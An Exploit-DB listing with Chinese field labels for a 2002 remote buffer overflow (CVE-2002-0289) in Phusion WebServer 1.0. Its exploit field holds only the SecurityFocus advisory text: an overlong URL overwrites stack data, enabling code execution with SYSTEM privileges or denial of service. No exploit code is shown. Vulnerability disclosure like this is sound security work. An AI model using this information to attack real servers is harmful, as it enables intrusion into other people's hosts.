标题: Phusion WebServer 1.0 - 'URL' Remote Buffer Overflow EDB-ID: 21294 CVE: 2002-0289 类型: REMOTE 平台: WINDOWS 发布日期: 2002-02-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4119/info

Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.

Phusion Webserver does not perform sufficient bounds checking of externally supplied data. As a result, it is possible for a remote attacker to submit an excessively long web request which may cause stack variables to be overwritten with attacker-supplied instructions.

As webservers normally run with SYSTEM privileges on Microsoft Windows operating systems, this may result in a full compromise of a host running the vulnerable software.

It should be noted that this unchecked buffer may also be exploited to cause a denial of service condition.
